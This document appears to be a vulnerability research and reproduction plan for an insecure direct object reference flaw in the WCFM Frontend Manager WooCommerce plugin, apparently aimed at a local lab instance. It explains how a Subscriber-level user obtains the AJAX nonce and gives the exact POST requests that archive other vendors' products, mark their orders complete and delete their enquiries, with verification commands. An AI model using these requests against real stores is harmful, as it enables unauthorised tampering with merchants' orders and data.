Vulnerability Research Plan: CVE-2026-10041 - WCFM Insecure Direct Object Reference (IDOR)

1. Vulnerability Summary

The WCFM – Frontend Manager for WooCommerce plugin (<= 6.7.27) contains multiple Insecure Direct Object Reference (IDOR) vulnerabilities in its AJAX handlers. Specifically, functions registered for authenticated users (including Subscriber-level accounts) perform sensitive actions on vendor data (Products, Orders, Enquiries, Messages) without verifying if the requesting user has the authority to modify that specific object.

The vulnerability exists because the handlers check for a valid WordPress nonce (wcfm_ajax_nonce) and user authentication but fail to implement capability checks or ownership validation against the provided object IDs.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Method: POST
• Authentication: Authenticated (Subscriber+)
• Vulnerable AJAX Actions:
  1. wcfm_product_archive: Archives arbitrary products.
  2. wcfm_listing_featured: Toggles featured status on listings.
  3. wcfm_order_mark_complete: Marks arbitrary WooCommerce orders as completed.
  4. delete_wcfm_enquiry: Permanently deletes vendor enquiries.
  5. wcfm_messages_bulk_mark_delete: Deletes bulk messages.
• Payload Parameter: Variable based on action (e.g., productid, orderid, enquiryid).
• Nonce: Required (wcfm_ajax_nonce).

3. Code Flow

1. Entry Point: The user sends a request to admin-ajax.php with a specific action (e.g., wcfm_product_archive).
2. Hook Registration: In core/class-wcfm-ajax.php, the plugin registers these actions:

   add_action('wp_ajax_wcfm_product_archive', array(&$this, 'wcfm_product_archive'));
   add_action('wp_ajax_wcfm_order_mark_complete', array(&$this, 'wcfm_order_mark_complete'));
   

3. Nonce Verification: The handler typically calls check_ajax_referer('wcfm_ajax_nonce', 'wcfm_ajax_nonce').
4. Missing Authorization (The Sink): The handler retrieves the ID from $_POST (e.g., $_POST['productid']) and immediately performs the database or metadata operation without calling current_user_can('edit_post', $id) or verifying that the ID belongs to the current user.

4. Nonce Acquisition Strategy

The wcfm_ajax_nonce is used globally for WCFM AJAX interactions. It is localized into the JavaScript variable wcfm_params.

1. Shortcode Page Creation: Create a page containing a WCFM dashboard shortcode to ensure all scripts are enqueued.
   • Command: wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[wcfm_endpoint]'
2. Extraction:
   • Navigate to the page as the Subscriber user.
   • Use browser_eval to extract the nonce.
   • JS Variable: window.wcfm_params?.wcfm_ajax_nonce

5. Exploitation Strategy

Target 1: Archive Arbitrary Product

• Action: wcfm_product_archive
• HTTP Request:
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body: action=wcfm_product_archive&productid=[VICTIM_PRODUCT_ID]&wcfm_ajax_nonce=[NONCE]
  • Content-Type: application/x-www-form-urlencoded

Target 2: Mark Arbitrary Order as Complete

• Action: wcfm_order_mark_complete
• HTTP Request:
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body: action=wcfm_order_mark_complete&orderid=[VICTIM_ORDER_ID]&wcfm_ajax_nonce=[NONCE]

Target 3: Delete Enquiry

• Action: delete_wcfm_enquiry
• HTTP Request:
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body: action=delete_wcfm_enquiry&enquiryid=[VICTIM_ENQUIRY_ID]&wcfm_ajax_nonce=[NONCE]

6. Test Data Setup

1. Victim (Vendor):
   • User: vendor_user with role wcfm_vendor.
   • Content: A published WooCommerce product (ID X).
   • Order: A WooCommerce order (ID Y) associated with product X.
   • Enquiry: Insert a record into {$wpdb->prefix}wcfm_enquiries (ID Z) manually or via the product's enquiry form.
2. Attacker (Subscriber):
   • User: attacker_sub with role subscriber.
3. Page:
   • Create a page with [wcfm_endpoint] so attacker_sub can access the scripts and nonce.

7. Expected Results

• Product Archive: The product X metadata _wcfm_product_archived is set to yes (or the post status changes depending on version implementation).
• Order Completion: The WooCommerce order Y status changes to completed.
• Enquiry Deletion: The enquiry record Z is removed from the database table.
• HTTP Response: Usually returns a JSON success string (e.g., {"status": true, "message": "..."}).

8. Verification Steps

• Archive Verification: wp post meta get [ID] _wcfm_product_archived should return yes.
• Order Verification: wp wc order get [ID] --field=status should return completed.
• Enquiry Verification: wp db query "SELECT * FROM wp_wcfm_enquiries WHERE ID = [ID]" should return no results.

9. Alternative Approaches

If the Subscriber role is strictly prohibited from accessing the page containing the shortcode (rendering the nonce inaccessible), check for the wcfm_ajax_nonce on other frontend pages. The WCFM plugin often enqueues core scripts on the Shop page or Single Product pages to support "Enquiry" features. Search for wcfm_params in the source of a Single Product page.